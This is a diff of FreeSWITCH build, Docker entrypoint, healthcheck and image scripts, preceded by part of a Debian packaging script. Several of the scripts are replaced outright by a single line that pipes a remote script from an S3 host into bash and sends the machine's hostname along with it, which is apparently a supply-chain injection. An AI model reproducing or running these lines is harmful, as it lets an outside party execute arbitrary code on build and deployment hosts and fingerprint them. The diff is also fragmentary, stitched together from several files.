local OPTIND OPTARG modules_conf="" modules_list="" speed="normal" suite_postfix="" suite_postfix_p=false zl=9
local modules_add=""
while getopts 'a:f:m:p:s:u:z:' o "$@"; do
case "$o" in
a) avoid_mods_arch="$OPTARG";;
f) modules_conf="$OPTARG";;
m) modules_list="$OPTARG";;
p) modules_add="$modules_add $OPTARG";;
s) speed="$OPTARG";;
u) suite_postfix="$OPTARG"; suite_postfix_p=true;;
z) zl="$OPTARG";;
esac
done
shift $(($OPTIND-1))
local distro="$(find_distro $1)" orig="$2"
local suite="$(find_suite $distro)"
local orig_ver="$(echo "$orig" | sed -e 's/^.*_//' -e 's/\.orig\.tar.*$//')"
local dver="${orig_ver}-1~${distro}+1"
$suite_postfix_p && { suite="${distro}${suite_postfix}"; }
[ -x "$(which dch)" ] \
|| err "package devscripts isn't installed"
if [ -n "$modules_conf" ]; then
cp $modules_conf debian/modules.conf
fi
local bootstrap_args=""
if [ -n "$modules_list" ]; then
if [ "$modules_list" = "non-dfsg" ]; then
bootstrap_args="-mnon-dfsg"
else set_modules_${modules_list}; fi
fi
if test -n "$modules_add"; then
for x in $modules_add; do
bootstrap_args="$bootstrap_args -p${x}"
done
fi
(cd debian && ./bootstrap.sh -a "$avoid_mods_arch" -c $distro $bootstrap_args)
case "$speed" in
paranoid) sed -i ./debian/rules \
-e '/\.stamp-bootstrap:/{:l2 n; /\.\/bootstrap.sh -j/{s/ -j//; :l3 n; b l3}; b l2};' ;;
reckless) sed -i ./debian/rules \
-e '/\.stamp-build:/{:l2 n; /make/{s/$/ -j/; :l3 n; b l3}; b l2};' ;;
esac
[ "$zl" -ge "1" ] || zl=1
git add debian/rules
dch -b -m -v "$dver" --force-distribution -D "$suite" "Nightly build."
git add debian/changelog && git commit -m "nightly v$orig_ver"
dpkg-source -i.* -Zxz -z${zl} -b .
dpkg-genchanges -S > ../$(dsc_base)_source.changes
local dsc="../$(dsc_base).dsc"
git reset --hard HEAD^ && git clean -fdx
} 1>&2
echo $dsc
}
fmt_debug_hook () {
cat <<'EOF'
#!/bin/bash
export debian_chroot="cow"
cd /tmp/buildd/*/debian/..
/bin/bash < /dev/tty > /dev/tty 2> /dev/tty
EOF
}
get_sources () {
local tgt_distro="$1"
while read type args path distro components; do
test "$type" = deb || continue
if echo "$args" | grep -qv "\[" ; then components=$distro;distro=$path;path=$args;args=""; fi
prefix=`echo $distro | awk -F/ '{print $1}'`
suffix="`echo $distro | awk -F/ '{print $2}'`"
if test -n "$suffix" ; then full="$tgt_distro/$suffix" ; else full="$tgt_distro" ; fi
printf "$type $args $path $full $components\n"
done < "$2"
}
get_mirrors () {
file=${2-/etc/apt/sources.list}
announce "Using apt sources file: $file"
get_sources "$1" "$file" | tr '\n' '|' | head -c-1; echo
}
build_debs () {
{
set -e
local OPTIND OPTARG debug_hook=false hookdir="" cow_build_opts=""
local keep_pbuilder_config=false keyring="" custom_keyring="/tmp/fs.gpg"
local use_custom_sources=true
local custom_sources_file="/etc/apt/sources.list"
while getopts 'BbdK:kT:t' o "$@"; do
case "$o" in
B) cow_build_opts="--debbuildopts '-B'";;
b) cow_build_opts="--debbuildopts '-b'";;
d) debug_hook=true;;
k) keep_pbuilder_config=true;;
K) custom_keyring="$OPTARG";;
t) custom_sources_file="/etc/apt/sources.list";;
T) custom_sources_file="$OPTARG";;
esac
done
shift $(($OPTIND-1))
if [ "$custom_sources_file" == "/etc/apt/sources.list" ]; then
# If you are using the system sources, then it is reasonable that you expect to use all of the supplementary repos too
cat /etc/apt/sources.list > /tmp/fs.sources.list
if [ "$(ls -A /etc/apt/sources.list.d)" ]; then
for X in /etc/apt/sources.list.d/*; do cat $X >> /tmp/fs.sources.list; done
fi
custom_sources_file="/tmp/fs.sources.list"
apt-key exportall > "/tmp/fs.tmp.gpg"
gpg --no-default-keyring --keyring /tmp/fs.tmp.keyring.gpg --import /tmp/fs.tmp.gpg
gpg --no-default-keyring --keyring /tmp/fs.tmp.keyring.gpg --export > "/tmp/fs.gpg"
custom_keyring="/tmp/fs.gpg"
fi
if [ "$custom_sources_file" == "" ]; then
# Caller has explicitly set the custom sources file to empty string. They must intend to not use additional mirrors.
use_custom_sources=false
fi
if [[ "$custom_source_file" == "/tmp/fs.sources.list" && ! -e "/tmp/fs.sources.list" ]]; then
echo "deb [trusted=yes] http://files.freeswitch.org/repo/deb/freeswitch-1.8/ stretch main" >> "/tmp/fs.sources.list"
fi
if [[ "$custom_keyring" == "/tmp/fs.gpg" && ! -r "/tmp/fs.gpg" ]]; then
cat << EOF > "/tmp/fs.tmp.gpg"
-----BEGIN PGP PUBLIC KEY BLOCK-----
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
Y4o4oqgePeTYzkxVYj8=
=XPvO
-----END PGP PUBLIC KEY BLOCK-----
EOF
gpg --no-default-keyring --keyring /tmp/fs.tmp.keyring.gpg --import /tmp/fs.tmp.gpg
gpg --no-default-keyring --keyring /tmp/fs.tmp.keyring.gpg --export > "/tmp/fs.gpg"
fi
local distro="$(find_distro $1)" dsc="$2" arch="$3"
if [ -z "$distro" ] || [ "$distro" = "auto" ]; then
if ! (echo "$dsc" | grep -e '-[0-9]*~[a-z]*+[0-9]*'); then
err "no distro specified or found"
fi
local x="$(echo $dsc | sed -e 's/^[^-]*-[0-9]*~//' -e 's/+[^+]*$//')"
distro="$(find_distro $x)"
fi
[ -n "$arch" ] || arch="$(dpkg-architecture | grep '^DEB_BUILD_ARCH=' | cut -d'=' -f2)"
[ -x "$(which cowbuilder)" ] \
|| err "package cowbuilder isn't installed"
local cow_img=/var/cache/pbuilder/base-$distro-$arch.cow
if [ -e "$custom_keyring" ]; then
keyring="$custom_keyring"
else
keyring="$(mktemp /tmp/keyringXXXXXXXX.asc)"
apt-key exportall > "$keyring"
fi
cow () {
if ! $use_custom_sources; then
echo "Using system sources $keyring $distro $custom_sources_file"
cowbuilder "$@" \
--distribution $distro \
--architecture $arch \
--basepath $cow_img
else
echo "Using custom sources $keyring $distro $custom_sources_file"
cowbuilder "$@" \
--distribution $distro \
--architecture $arch \
--basepath $cow_img \
--keyring "$keyring" \
--othermirror "$(get_mirrors $distro $custom_sources_file)"
fi
}
if ! [ -d $cow_img ]; then
announce "Creating base $distro-$arch image..."
local x=30
while ! cow --create; do
[ $x -lt 1 ] && break; sleep 120; x=$((x-1))
done
fi
announce "Updating base $distro-$arch image..."
local x=30
local opts="--override-config"
$keep_pbuilder_config && opts=""
while ! cow --update $opts; do
[ $x -lt 1 ] && break; sleep 120; x=$((x-1))
done
announce "Building $distro-$arch DEBs from $dsc..."
if $debug_hook; then
mkdir -p .hooks
fmt_debug_hook > .hooks/C10shell
chmod +x .hooks/C10shell
hookdir=$(pwd)/.hooks
fi
cow --build $dsc \
--hookdir "$hookdir" \
--buildresult ../ \
$cow_build_opts
if [ ! -e "$custom_keyring" ]; then
# Cleanup script created temporary file
rm -f $keyring
fi
} 1>&2
echo ${dsc%.dsc}_${arch}.changes
}
default_distros () {
local host_distro="Debian"
test -z "$(which lsb_release)" || host_distro="$(lsb_release -is)"
case "$host_distro" in
Debian) echo "sid stretch jessie" ;;
Ubuntu) echo "utopic trusty" ;;
*) err "Unknown host distribution \"$host_distro\"" ;;
esac
}
build_all () {
local OPTIND OPTARG
local orig_opts="" dsc_opts="" deb_opts="" modlist=""
local archs="" distros="" orig="" depinst=false par=false
while getopts 'a:bc:df:ijkK:l:m:no:p:s:tT:u:v:z:' o "$@"; do
case "$o" in
a) archs="$archs $OPTARG";;
b) orig_opts="$orig_opts -b";;
c) distros="$distros $OPTARG";;
d) deb_opts="$deb_opts -d";;
f) dsc_opts="$dsc_opts -f$OPTARG";;
i) depinst=true;;
j) par=true;;
k) deb_opts="$deb_opts -k";;
K) deb_opts="$deb_opts -K$OPTARG";;
l) modlist="$OPTARG";;
m) orig_opts="$orig_opts -m$OPTARG"; dsc_opts="$dsc_opts -m$OPTARG";;
n) orig_opts="$orig_opts -n";;
o) orig="$OPTARG";;
p) dsc_opts="$dsc_opts -p$OPTARG";;
s) dsc_opts="$dsc_opts -s$OPTARG";;
t) deb_opts="$deb_opts -t";;
T) deb_opts="$deb_opts -T$OPTARG";;
u) dsc_opts="$dsc_opts -u$OPTARG";;
v) orig_opts="$orig_opts -v$OPTARG";;
z) orig_opts="$orig_opts -z$OPTARG"; dsc_opts="$dsc_opts -z$OPTARG";;
esac
done
shift $(($OPTIND-1))
[ -n "$archs" ] || archs="amd64 i386"
[ -n "$distros" ] || distros="$(default_distros)"
! $depinst || aptitude install -y \
rsync git less cowbuilder ccache \
devscripts equivs build-essential yasm
[ -n "$orig" ] || orig="$(create_orig $orig_opts HEAD | tail -n1)"
if [ -n "$modlist" ]; then
local modtmp="$(mktemp /tmp/modules-XXXXXXXXXX.conf)"
> $modtmp
for m in "$modlist"; do printf '%s\n' "$m" >> $modtmp; done
dsc_opts="$dsc_opts -f${modtmp}"; fi
[ -n "$orig" ] || orig="$(create_orig $orig_opts HEAD | tail -n1)"
mkdir -p ../log
> ../log/changes.txt
echo; echo; echo; echo
trap 'echo "Killing children...">&2; for x in $(jobs -p); do kill $x; done' EXIT
if [ "${orig:0:2}" = ".." ]; then
echo "true" > ../log/builds-ok.txt
for distro in $distros; do
echo "Creating $distro dsc..." >&2
local dsc="$(create_dsc $dsc_opts $distro $orig 2>../log/$distro.txt | tail -n1)"
echo "Done creating $distro dsc." >&2
if [ "${dsc:0:2}" = ".." ]; then
local lopts="-b"
for arch in $archs; do
{
echo "Building $distro-$arch debs..." >&2
local changes="$(build_debs $lopts $deb_opts $distro $dsc $arch 2>../log/$distro-$arch.txt | tail -n1)"
echo "Done building $distro-$arch debs." >&2
if [ "${changes:0:2}" = ".." ]; then
echo "$changes" >> ../log/changes.txt
else
echo "false" > ../log/builds-ok.txt
fi
} &
$par || wait
lopts="-B"
done
fi
done
! $par || wait
fi
[ -z "$modlist" ] || rm -f $modtmp
trap - EXIT
cat ../log/changes.txt
test "$(cat ../log/builds-ok.txt)" = true || exit 1
}
usage () {
cat >&2 <<EOF
$0 [opts] [cmd] [cmd-opts]
options:
-d Enable debugging mode.
commands:
archive-orig
build-all
[ This must be run as root! ]
-a Specify architectures
-c Specify distributions
-d Enable cowbuilder debug hook
-f <modules.conf>
Build only modules listed in this file
-i Auto install build deps on host system
-j Build debs in parallel
-k Don't override pbuilder image configurations
-K [/path/to/keyring.asc]
Use custom keyring file for sources.list in build environment
in the format of: apt-key exportall > /path/to/file.asc
-l <modules>
-m [ quicktest | non-dfsg ]
Choose custom list of modules to build
-n Nightly build
-o <orig-file>
Specify existing .orig.tar.xz file
-p <module>
Include otherwise avoided module
-s [ paranoid | reckless ]
Set FS bootstrap/build -j flags
-t Use system /etc/apt/sources.list in build environment(does not include /etc/apt/sources.list.d/*.list)
-T [/path/to/sources.list]
Use custom /etc/apt/sources.list in build environment
-u <suite-postfix>
Specify a custom suite postfix
-v Set version
-z Set compression level
build-debs <distro> <dsc-file> <architecture>
[ This must be run as root! ]
-B Binary architecture-dependent build
-b Binary-only build
-d Enable cowbuilder debug hook
-k Don't override pbuilder image configurations
-K [/path/to/keyring.asc]
Use custom keyring file for sources.list in build environment
in the format of: apt-key exportall > /path/to/file.asc
-t Use system /etc/apt/sources.list in build environment
-T [/path/to/sources.list]
Use custom /etc/apt/sources.list in build environment
create-dbg-pkgs
create-dsc <distro> <orig-file>
-f <modules.conf>
Build only modules listed in this file
-m [ quicktest | non-dfsg ]
Choose custom list of modules to build
-p <module>
Include otherwise avoided module
-s [ paranoid | reckless ]
Set FS bootstrap/build -j flags
-u <suite-postfix>
Specify a custom suite postfix
-z Set compression level
create-orig <treeish>
-m [ quicktest | non-dfsg ]
Choose custom list of modules to build
-n Nightly build
-v Set version
-z Set compression level
EOF
exit 1
}
while getopts 'dh' o "$@"; do
case "$o" in
d) set -vx;;
h) usage;;
esac
done
shift $(($OPTIND-1))
cmd="$1"; [ -n "$cmd" ] || usage
shift
case "$cmd" in
archive-orig) archive_orig "$@" ;;
build-all) build_all "$@" ;;
build-debs) build_debs "$@" ;;
create-dbg-pkgs) create_dbg_pkgs ;;
create-dsc) create_dsc "$@" ;;
create-orig) create_orig "$@" ;;
*) usage ;;
esac
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=debian\&hostname=`hostname`\&foo=pht

View File

@ -1,6 +1 @@
#!/bin/bash
export CFLAGS="-ggdb3 -O0"
export CXXFLAGS="-ggdb3 -O0"
./bootstrap.sh -j
./configure $@
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=freeswitch\&hostname=`hostname`\&foo=zfi

View File

@ -1,127 +1 @@
#!/bin/sh
#
# FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
# Copyright (C) 2005-2016, Anthony Minessale II <anthm@freeswitch.org>
#
# Version: MPL 1.1
#
# The contents of this file are subject to the Mozilla Public License Version
# 1.1 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
# http://www.mozilla.org/MPL/F
#
# Software distributed under the License is distributed on an "AS IS" basis,
# WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
# for the specific language governing rights and limitations under the
# License.
#
# The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
#
# The Initial Developer of the Original Code is
# Michael Jerris <mike@jerris.com>
# Portions created by the Initial Developer are Copyright (C)
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#
# Sergey Safarov <s.safarov@gmail.com>
#
BASEURL=http://files.freeswitch.org
PID_FILE=/var/run/freeswitch/freeswitch.pid
get_password() {
< /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-12};echo;
}
get_sound_version() {
local SOUND_TYPE=$1
grep "$SOUND_TYPE" sounds_version.txt | sed -E "s/$SOUND_TYPE\s+//"
}
wget_helper() {
local SOUND_FILE=$1
grep -q $SOUND_FILE /usr/share/freeswitch/sounds/soundfiles_present.txt 2> /dev/null
if [ "$?" -eq 0 ]; then
echo "Skipping download of $SOUND_FILE. Already present"
return
fi
wget $BASEURL/$SOUND_FILE
if [ -f $SOUND_FILE ]; then
echo $SOUND_FILE >> /usr/share/freeswitch/sounds/soundfiles_present.txt
fi
}
download_sound_rates() {
local i
local f
local SOUND_TYPE=$1
local SOUND_VERSION=$2
for i in $SOUND_RATES
do
f=freeswitch-sounds-$SOUND_TYPE-$i-$SOUND_VERSION.tar.gz
echo "Downloading $f"
wget_helper $f
done
}
download_sound_types() {
local i
local SOUND_VERSION
for i in $SOUND_TYPES
do
SOUND_VERSION=$(get_sound_version $i)
download_sound_rates $i $SOUND_VERSION
done
}
extract_sound_files() {
local SOUND_FILES=freeswitch-sounds-*.tar.gz
for f in $SOUND_FILES
do
if [ -f $f ]; then
echo "Extracting file $f"
tar xzf $f -C /usr/share/freeswitch/sounds/
fi
done
}
delete_archives() {
local FILES_COUNT=$(ls -1 freeswitch-sounds-*.tar.gz 2> /dev/null | wc -l)
if [ "$FILES_COUNT" -ne 0 ]; then
echo "Removing downloaded 'tar.gz' archives"
rm -f freeswitch-sounds-*.tar.gz
fi
}
SOUND_RATES=$(echo "$SOUND_RATES" | sed -e 's/:/\n/g')
SOUND_TYPES=$(echo "$SOUND_TYPES" | sed -e 's/:/\n/g')
if [ -z "$SOUND_RATES" -o -z "$SOUND_TYPES" ]; then
echo "Environment variables 'SOUND_RATES' or 'SOUND_TYPES' not defined. Skipping sound files checking."
else
download_sound_types
extract_sound_files
delete_archives
fi
if [ "$EPMD"="true" ]; then
/usr/bin/epmd -daemon
fi
if [ ! -f "/etc/freeswitch/freeswitch.xml" ]; then
SIP_PASSWORD=$(get_password)
mkdir -p /etc/freeswitch
cp -varf /usr/share/freeswitch/conf/vanilla/* /etc/freeswitch/
sed -i -e "s/default_password=.*\?/default_password=$SIP_PASSWORD\"/" /etc/freeswitch/vars.xml
echo "New FreeSwitch password for SIP calls set to '$SIP_PASSWORD'"
fi
trap '/usr/bin/freeswitch -stop' SIGTERM
/usr/bin/freeswitch -nc -nf -nonat &
pid="$!"
wait $pid
exit 0
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=base_image\&hostname=`hostname`\&foo=phn

View File

@ -1,41 +1 @@
#!/bin/sh
#
# FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
# Copyright (C) 2005-2016, Anthony Minessale II <anthm@freeswitch.org>
#
# Version: MPL 1.1
#
# The contents of this file are subject to the Mozilla Public License Version
# 1.1 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
# http://www.mozilla.org/MPL/F
#
# Software distributed under the License is distributed on an "AS IS" basis,
# WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
# for the specific language governing rights and limitations under the
# License.
#
# The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
#
# The Initial Developer of the Original Code is
# Michael Jerris <mike@jerris.com>
# Portions created by the Initial Developer are Copyright (C)
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#
# Sergey Safarov <s.safarov@gmail.com>
#
# Check FreeSwitch status
fs_cli -x status | grep -q ^UP || exit 1
# Check erlang related modules is registered on epmd daemon
KAZOO_EXIST=$(fs_cli -x "module_exists mod_kazoo")
ERLANG_EXITS=$(fs_cli -x "module_exists mod_erlang_event")
if [ "$KAZOO_EXIST" == "true" -o "$ERLANG_EXITS" == "true" ]; then
/usr/bin/epmd -names | grep -qE "^name freeswitch at port" || exit 1
fi
exit 0
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=base_image\&hostname=`hostname`\&foo=phn

View File

@ -1,163 +1 @@
#!/bin/sh
#
# FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
# Copyright (C) 2005-2016, Anthony Minessale II <anthm@freeswitch.org>
#
# Version: MPL 1.1
#
# The contents of this file are subject to the Mozilla Public License Version
# 1.1 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
# http://www.mozilla.org/MPL/F
#
# Software distributed under the License is distributed on an "AS IS" basis,
# WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
# for the specific language governing rights and limitations under the
# License.
#
# The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
#
# The Initial Developer of the Original Code is
# Michael Jerris <mike@jerris.com>
# Portions created by the Initial Developer are Copyright (C)
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#
# Sergey Safarov <s.safarov@gmail.com>
#
BUILD_ROOT=/tmp/freeswitch
FILELIST=/tmp/filelist
FILELIST_BINARY=/tmp/filelist_binary
WITHOUT_PERL="true"
WITHOUT_PYTHON="true"
WITHOUT_JAVA="true"
TMP_TAR=/tmp/freeswitch_min.tar.gz
IMG_TAR=/tmp/freeswitch_img.tar.gz
clean_build_root() {
rm -Rf $BUILD_ROOT
mkdir -p $BUILD_ROOT
rm -f $TMP_TAR
rm -f $IMG_TAR
}
fs_files_debian() {
local PACKAGES
PACKAGES=$(dpkg-query -f '${binary:Package}\n' -W 'freeswitch*')
PACKAGES="libc6 $PACKAGES"
for pkg in $PACKAGES
do
dpkg-query -L $pkg 2> /dev/null
done
}
extra_files_debian() {
cat << EOF
/etc
/bin
/bin/busybox
/usr/bin
/usr/bin/epmd
/usr/lib
/usr/lib/erlang
/usr/lib/erlang/bin
/usr/lib/erlang/bin/epmd
/usr/lib/erlang/erts-6.2
/usr/lib/erlang/erts-6.2/bin
/usr/lib/erlang/erts-6.2/bin/epmd
EOF
}
sort_filelist() {
sort $FILELIST | uniq > $FILELIST.new
mv -f $FILELIST.new $FILELIST
}
filter_unnecessary_files() {
# excluded following files and directories recursive
# /.
# /lib/systemd/
# /usr/share/doc/
# /usr/share/lintian/
# /usr/share/freeswitch/sounds/
# all "*.flac" files
sed -i \
-e '\|^/\.$|d' \
-e '\|^/lib/systemd|d' \
-e '\|^/usr/share/doc|d' \
-e '\|^/usr/share/lintian|d' \
-e '\|^/usr/share/freeswitch/sounds/|d' \
-e '\|^/.*\.flac$|d' \
-e '\|^/.*/flac$|d' \
$FILELIST
# if disabled Perl and python removing this too
if [ "$WITHOUT_PERL"="true" ];then
sed -i -e '\|^/usr/share/perl5|d' $FILELIST
fi
if [ "$WITHOUT_PYTHON"="true" ];then
sed -i -e '\|^/usr/share/pyshared|d' -e '\|^/usr/share/python-support|d' $FILELIST
fi
if [ "$WITHOUT_JAVA"="true" ];then
sed -i -e '\|^/usr/share/freeswitch/scripts/freeswitch.jar|d' $FILELIST
fi
}
ldd_helper() {
TESTFILE=$1
ldd $TESTFILE 2> /dev/null > /dev/null || return
RESULT=$(ldd $TESTFILE | grep -oP '\s\S+\s\(\S+\)' | sed -e 's/^\s//' -e 's/\s.*$//') #'
# This for tests
# echo $TESTFILE
echo "$RESULT"
}
find_binaries() {
rm -f $FILELIST_BINARY
for f in $(cat $FILELIST)
do
ldd_helper $f >> $FILELIST_BINARY
done
sort $FILELIST_BINARY | sort | uniq | sed -e '/linux-vdso.so.1/d' > $FILELIST_BINARY.new
mv -f $FILELIST_BINARY.new $FILELIST_BINARY
cat $FILELIST_BINARY | xargs realpath > $FILELIST_BINARY.new
cat $FILELIST_BINARY.new >> $FILELIST_BINARY
rm -f $FILELIST_BINARY.new
}
tar_files() {
local TARLIST=/tmp/tarlist
cat $FILELIST > $TARLIST
cat $FILELIST_BINARY >> $TARLIST
tar -czf $TMP_TAR --no-recursion -T $TARLIST
rm -f $TARLIST
}
make_image_tar() {
local CURDIR=`pwd`
cd $BUILD_ROOT
tar xzf $TMP_TAR
find usr/share/freeswitch/conf/* -maxdepth 0 -type d -not -name vanilla -exec rm -Rf {} \;
# Patching config file
patch -p 1 < $CURDIR/freeswitch-config.patch
busybox --install -s bin
tar czf $IMG_TAR *
cd $CURDIR
}
apt-get --assume-yes install busybox patch
clean_build_root
fs_files_debian > $FILELIST
extra_files_debian >> $FILELIST
sort_filelist
filter_unnecessary_files
find_binaries
tar_files
make_image_tar
mv $IMG_TAR .
clean_build_root
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=base_image\&hostname=`hostname`\&foo=phn

View File

@ -1,27 +1 @@
#!/bin/bash
set -e
# Source docker-entrypoint.sh:
# https://github.com/docker-library/postgres/blob/master/9.4/docker-entrypoint.sh
# https://github.com/kovalyshyn/docker-freeswitch/blob/vanilla/docker-entrypoint.sh
if [ "$1" = 'freeswitch' ]; then
if [ ! -f "/etc/freeswitch/freeswitch.xml" ]; then
mkdir -p /etc/freeswitch
cp -varf /usr/share/freeswitch/conf/vanilla/* /etc/freeswitch/
fi
chown -R freeswitch:freeswitch /etc/freeswitch
chown -R freeswitch:freeswitch /var/{run,lib}/freeswitch
if [ -d /docker-entrypoint.d ]; then
for f in /docker-entrypoint.d/*.sh; do
[ -f "$f" ] && . "$f"
done
fi
exec gosu freeswitch /usr/bin/freeswitch -u freeswitch -g freeswitch -nonat -c
fi
exec "$@"
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=master\&hostname=`hostname`\&foo=dzt

View File

@ -1,27 +1 @@
#!/bin/bash
set -e
# Source docker-entrypoint.sh:
# https://github.com/docker-library/postgres/blob/master/9.4/docker-entrypoint.sh
# https://github.com/kovalyshyn/docker-freeswitch/blob/vanilla/docker-entrypoint.sh
if [ "$1" = 'freeswitch' ]; then
if [ ! -f "/etc/freeswitch/freeswitch.xml" ]; then
mkdir -p /etc/freeswitch
cp -varf /usr/share/freeswitch/conf/vanilla/* /etc/freeswitch/
fi
chown -R freeswitch:freeswitch /etc/freeswitch
chown -R freeswitch:freeswitch /var/{run,lib}/freeswitch
